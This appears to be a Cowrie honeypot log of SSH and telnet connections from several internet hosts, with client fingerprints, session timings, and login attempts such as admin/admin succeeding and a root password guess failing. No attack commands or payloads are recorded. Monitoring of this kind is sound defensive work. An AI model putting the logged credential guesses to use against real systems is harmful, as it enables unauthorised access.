{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:05.785460Z","src_ip":"172.105.128.13","session":"6f5cf31730bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:05.799350Z","src_ip":"172.105.128.13","session":"6f5cf31730bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.128.13","src_port":15344,"dst_ip":"10.17.0.5","dst_port":22,"session":"0895d46d12ee","protocol":"ssh","message":"New connection: 172.105.128.13:15344 (10.17.0.5:22) [session: 0895d46d12ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:05.805584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:05.810695Z","src_ip":"172.105.128.13","session":"0895d46d12ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:05.817536Z","src_ip":"172.105.128.13","session":"0895d46d12ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:05.829345Z","src_ip":"172.105.128.13","session":"0895d46d12ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.128.13","src_port":15350,"dst_ip":"10.17.0.5","dst_port":22,"session":"de47a8bee934","protocol":"ssh","message":"New connection: 172.105.128.13:15350 (10.17.0.5:22) [session: de47a8bee934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:05.835087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:05.840106Z","src_ip":"172.105.128.13","session":"de47a8bee934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:05.848745Z","src_ip":"172.105.128.13","session":"de47a8bee934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:05.861634Z","src_ip":"172.105.128.13","session":"de47a8bee934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51678,"dst_ip":"159.203.135.109","dst_port":23,"session":"216064c5265c","protocol":"telnet","message":"New connection: 135.148.14.151:51678 (159.203.135.109:23) [session: 216064c5265c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:06.653642Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59652,"dst_ip":"159.203.135.109","dst_port":23,"session":"656701214d82","protocol":"telnet","message":"New connection: 135.148.14.151:59652 (159.203.135.109:23) [session: 656701214d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:20.947135Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:30.884425Z","src_ip":"107.189.24.77","session":"0b6f60108438","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:30.931177Z","src_ip":"107.189.24.77","session":"0b6f60108438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.141","src_port":60600,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b0774bc1758","protocol":"ssh","message":"New connection: 45.148.10.141:60600 (159.203.135.109:22) [session: 7b0774bc1758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:40.449548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:40.454425Z","src_ip":"45.148.10.141","session":"7b0774bc1758","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:40.540386Z","src_ip":"45.148.10.141","session":"7b0774bc1758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:40.914037Z","src_ip":"45.148.10.141","session":"7b0774bc1758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.405657052993774,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:43.059138Z","src_ip":"135.148.14.151","session":"216064c5265c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47486,"dst_ip":"159.203.135.109","dst_port":23,"session":"352359c0af54","protocol":"telnet","message":"New connection: 135.148.14.151:47486 (159.203.135.109:23) [session: 352359c0af54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:53.597708Z"}
{"eventid":"cowrie.session.closed","duration":0.0052835941314697266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:53.602881Z","src_ip":"135.148.14.151","session":"352359c0af54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.77199172973633,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:56.719014Z","src_ip":"135.148.14.151","session":"656701214d82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49144,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf28223f06c4","protocol":"telnet","message":"New connection: 135.148.14.151:49144 (159.203.135.109:23) [session: bf28223f06c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:04:03.776781Z"}
{"eventid":"cowrie.session.closed","duration":31.247575998306274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:04:35.024194Z","src_ip":"135.148.14.151","session":"bf28223f06c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39560,"dst_ip":"159.203.135.109","dst_port":23,"session":"b97a564ad851","protocol":"telnet","message":"New connection: 135.148.14.151:39560 (159.203.135.109:23) [session: b97a564ad851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:04:41.176055Z"}
{"eventid":"cowrie.session.closed","duration":36.43250894546509,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:05:17.608470Z","src_ip":"135.148.14.151","session":"b97a564ad851","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51936,"dst_ip":"159.203.135.109","dst_port":23,"session":"542e478752df","protocol":"telnet","message":"New connection: 135.148.14.151:51936 (159.203.135.109:23) [session: 542e478752df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:05:39.044476Z"}
{"eventid":"cowrie.session.closed","duration":0.00534510612487793,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:05:39.049699Z","src_ip":"135.148.14.151","session":"542e478752df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47016,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa2f629a3765","protocol":"telnet","message":"New connection: 135.148.14.151:47016 (159.203.135.109:23) [session: fa2f629a3765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:05:59.682966Z"}
{"eventid":"cowrie.session.closed","duration":31.767741441726685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:06:31.450589Z","src_ip":"135.148.14.151","session":"fa2f629a3765","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36698,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ad953d3c92f","protocol":"telnet","message":"New connection: 135.148.14.151:36698 (159.203.135.109:23) [session: 7ad953d3c92f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:06:38.192654Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39814,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dade9240f7e","protocol":"telnet","message":"New connection: 135.148.14.151:39814 (159.203.135.109:23) [session: 7dade9240f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:06:43.552984Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":45006,"dst_ip":"159.203.135.109","dst_port":22,"session":"e58e7fa4a714","protocol":"ssh","message":"New connection: 109.237.96.109:45006 (159.203.135.109:22) [session: e58e7fa4a714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:06:51.434285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:06:51.686450Z","src_ip":"109.237.96.109","session":"e58e7fa4a714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:06:51.776653Z","src_ip":"109.237.96.109","session":"e58e7fa4a714","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fyfrjylf","message":"login attempt [root/fyfrjylf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:06:52.054798Z","src_ip":"109.237.96.109","session":"e58e7fa4a714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:06:53.149258Z","src_ip":"109.237.96.109","session":"e58e7fa4a714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45708,"dst_ip":"159.203.135.109","dst_port":23,"session":"e865e7c4e7ef","protocol":"telnet","message":"New connection: 135.148.14.151:45708 (159.203.135.109:23) [session: e865e7c4e7ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:07:03.576935Z"}
{"eventid":"cowrie.session.closed","duration":35.27172565460205,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:07:13.464305Z","src_ip":"135.148.14.151","session":"7ad953d3c92f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.32177996635437,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:07:20.874659Z","src_ip":"135.148.14.151","session":"7dade9240f7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.5174834728241,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:07:37.094278Z","src_ip":"135.148.14.151","session":"e865e7c4e7ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55080,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb30447acc72","protocol":"telnet","message":"New connection: 135.148.14.151:55080 (159.203.135.109:23) [session: cb30447acc72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:07:48.889783Z"}
{"eventid":"cowrie.session.closed","duration":0.0065271854400634766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:07:48.896186Z","src_ip":"135.148.14.151","session":"cb30447acc72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40138,"dst_ip":"159.203.135.109","dst_port":23,"session":"e831c9db9442","protocol":"telnet","message":"New connection: 135.148.14.151:40138 (159.203.135.109:23) [session: e831c9db9442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:07:49.191320Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40606,"dst_ip":"159.203.135.109","dst_port":23,"session":"491f9d10ec32","protocol":"telnet","message":"New connection: 135.148.14.151:40606 (159.203.135.109:23) [session: 491f9d10ec32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:07:50.208070Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43850,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f8d33980995","protocol":"telnet","message":"New connection: 135.148.14.151:43850 (159.203.135.109:23) [session: 5f8d33980995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:07:58.132263Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43148,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca078cc9044f","protocol":"telnet","message":"New connection: 135.148.14.151:43148 (159.203.135.109:23) [session: ca078cc9044f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:07:58.356126Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.227.254.170","src_port":48190,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0cf0b05f0fd","protocol":"ssh","message":"New connection: 45.227.254.170:48190 (10.17.0.5:22) [session: c0cf0b05f0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:07:59.949150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:07:59.954291Z","src_ip":"45.227.254.170","session":"c0cf0b05f0fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:00.070541Z","src_ip":"45.227.254.170","session":"c0cf0b05f0fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:00.540927Z","src_ip":"45.227.254.170","session":"c0cf0b05f0fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43820,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcbc0593b88c","protocol":"telnet","message":"New connection: 135.148.14.151:43820 (159.203.135.109:23) [session: dcbc0593b88c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:04.093469Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47214,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca3f2635cb21","protocol":"telnet","message":"New connection: 135.148.14.151:47214 (159.203.135.109:23) [session: ca3f2635cb21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:07.708579Z"}
{"eventid":"cowrie.session.closed","duration":35.42819952964783,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:25.636202Z","src_ip":"135.148.14.151","session":"491f9d10ec32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.901379346847534,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:27.092562Z","src_ip":"135.148.14.151","session":"e831c9db9442","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.781266927719116,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:32.137265Z","src_ip":"135.148.14.151","session":"ca078cc9044f","protocol":"telnet"}
